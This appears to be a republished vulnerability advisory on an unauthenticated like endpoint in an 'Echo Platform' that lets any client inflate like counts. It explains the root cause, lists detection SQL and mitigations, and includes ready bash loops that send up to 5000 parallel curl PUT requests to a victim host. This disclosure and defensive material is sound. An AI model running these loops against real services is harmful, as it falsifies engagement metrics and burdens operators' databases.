Listen to this Post
The vulnerability resides in the public `PUT /api/echo/like/:id` endpoint, which requires no authentication. The route is registered under `PublicRouterGroup` in internal/router/echo.go, intentionally exposing the like function to unauthenticated clients. When a request reaches the handler (internal/handler/echo/echo.go), it calls `EchoService.LikeEcho` from internal/service/echo/echo.go. The service method executes a transaction that directly increments the `fav_count` column in the database via echoRepository.LikeEcho. No identity check, per-user limit, CSRF token, or rate limiting is applied. An attacker only needs a valid echo UUID, which can be obtained from public timelines, share links, or API endpoints like `GET /api/echo/page` (even with a valid token, but the like endpoint itself works without any token). By sending repeated unauthenticated `PUT` requests to /api/echo/like/{ECHO_ID}, each request increments `fav_count` by one. The proof of concept uses a simple bash loop: after obtaining an `ECHO_ID` (e.g., via a login to fetch one echo, then discarding the token), the attacker runs `curl -X PUT “$BASE/api/echo/like/$ECHO_ID”` 55 times. Each response returns HTTP 200 with a success JSON like {"code":1,"msg":"点赞Echo成功"}. The observed `fav_count` increased linearly to 113 from a baseline, demonstrating that a single unauthenticated client can arbitrarily inflate like metrics. No authorization header, session, or token is required. The attack is amplified by permissive CORS policies, enabling cross-origin abuse from browsers. The root cause is the absence of any binding between the like action and a unique principal, turning engagement metrics into untrustworthy counters.
dailycve form:
Platform: Echo Platform
Version: Unspecified version
Vulnerability: Unauthenticated like inflation
Severity: Critical
date: 2026-05-08
Prediction: 2026-05-22
What Undercode Say:
Analytics:
Simulate like inflation from a single IP
for i in {1..100}; do
curl -s -o /dev/null -w “Request $i: %{http_code}\n” -X PUT http://target/api/echo/like/abc-123-def
done
Monitor database write load (PostgreSQL example)
SELECT relname, n_tup_upd FROM pg_stat_user_tables WHERE relname = ‘echoes’;
Detect anomaly: check for spikes in fav_count without corresponding user sessions
SELECT id, fav_count, updated_at FROM echoes WHERE fav_count > 100 ORDER BY fav_count DESC;
Exploit:
BASE=”http://victim.com”
Fetch any public echo ID (no auth needed if endpoint leaks IDs)
ECHO_ID=”known-uuid-from-timeline”
Single like
curl -X PUT “$BASE/api/echo/like/$ECHO_ID”
Mass inflation (5000 likes)
for i in $(seq 1 5000); do
curl -s -X PUT “$BASE/api/echo/like/$ECHO_ID” &
done
wait
Verify inflated count
curl “$BASE/api/echo/$ECHO_ID” | jq ‘.data.fav_count’
Protection from this CVE
- Require authentication: move endpoint to `PrivateRouterGroup` and enforce
Authorization: Bearer <token>. - Implement per-user or per-session like limit (e.g., one like per echo per user).
- Add rate limiting (e.g., 10 requests per minute per IP) on public endpoints.
- Use CSRF tokens for state-changing operations even when public.
- Change database increment to upsert a `user_likes` table and compute `fav_count` as
COUNT().
Impact:
- Like counts and social proof (rankings, trending feeds) become completely falsifiable.
- Attacker can arbitrarily boost or suppress perceived popularity of any echo.
- High-volume loops induce unnecessary database write load, risking availability degradation.
- Combined with CORS, an attacker can embed malicious scripts on forums to silently inflate likes from visitors’ browsers.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
